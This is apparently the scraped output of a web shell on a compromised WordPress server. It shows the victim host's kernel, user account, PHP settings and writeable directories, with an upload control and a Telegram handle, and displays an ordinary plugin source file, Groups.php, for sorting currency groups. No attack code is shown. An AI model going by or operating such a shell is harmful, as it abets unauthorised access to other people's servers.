https://t.me/ARX49
Server : LiteSpeed
System : Linux server321.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : apotdzgr ( 7060)
PHP Version : 8.0.30
Disable Function : NONE
Directory :  /home/apotdzgr/public_html/wp-content/plugins/mycryptocheckout/src/currencies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/apotdzgr/public_html/wp-content/plugins/mycryptocheckout/src/currencies/Groups.php
<?php

namespace mycryptocheckout\currencies;

/**
	@brief		Manage the currency groups.
	@since		2018-02-23 15:26:33
**/
class Groups
	extends \mycryptocheckout\Collection
{
	/**
		@brief		Load all of the groups from this collection of currencies.
		@since		2018-02-23 15:27:40
	**/
	public static function load( $collection )
	{
		$r = new static();
		foreach( $collection as $currency_id => $currency )
		{
			$group = $currency->get_group();
			$r->set( $group->name, $group );
		}
		return $r;
	}

	/**
		@brief		Sort us by group sort order.
		@since		2018-02-23 15:31:11
	**/
	public function sort_now()
	{
		$this->sort_by( function( $item )
		{
			return $item->sort_order . '_' . $item->name;
		} );
	}
}

https://t.me/ARX49 - 2025